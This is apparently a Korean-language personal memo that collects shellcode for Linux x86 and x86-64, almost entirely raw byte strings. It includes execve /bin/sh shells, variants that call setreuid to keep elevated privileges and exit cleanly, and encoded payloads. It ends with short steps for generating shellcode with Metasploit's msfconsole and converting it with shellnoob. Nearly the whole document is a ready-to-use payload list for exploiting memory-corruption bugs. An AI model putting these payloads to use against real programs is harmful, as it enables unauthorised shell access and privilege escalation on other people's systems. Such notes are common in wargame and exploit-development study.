쉘코드 메모

32bit 

(1)가장 기본적으로 쉘을 띄우는 코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80

bytes : 25

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

bytes : 26

(2)쉘을 종료할 때 exit(0)으로 정상종료까지 시켜주는 코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80

bytes : 31

(3)setreuid(geteuid(), getreuid()), exit(0) 까지 포함시킨 쉘 코드

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80

bytes : 47

(4)exit(0) 코드

\x31\xc0\xb0\x01\xcd\x80

bytes : 6

(5)setreuid(geteuid(), geteuid()) 코드

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80

bytes : 16 

(6)Linux/x86 execve /bin/sh shellcode 23 bytes 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

linux x86 파일명 shellcode 

(1)48byte

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

(2)70byte

\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6

64bit

(1) 기본적인 쉘 띄우는 코드 (27byte)

\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05

(2) 25byte

\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05

(3) 24byte

\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05

#메타스플로잇을 이용해 쉘코드 만들기

-> msfconsole -> show payloads -> use ~ -> show optinos -> set [name] [value] -> generate -b '\xff\x00'

(설치 : https://securityonline.info/install-metasploit-on-ubuntu-linux-mint/)

#shellnoob

opcode -> asm : shellnoob --intel -i --to-asm

asm -> opcode : shellnoob --intel -i --to-opcode

&참고 : http://www.hahwul.com/2015/12/system-hacking-shellnoob-shellcode.html

 

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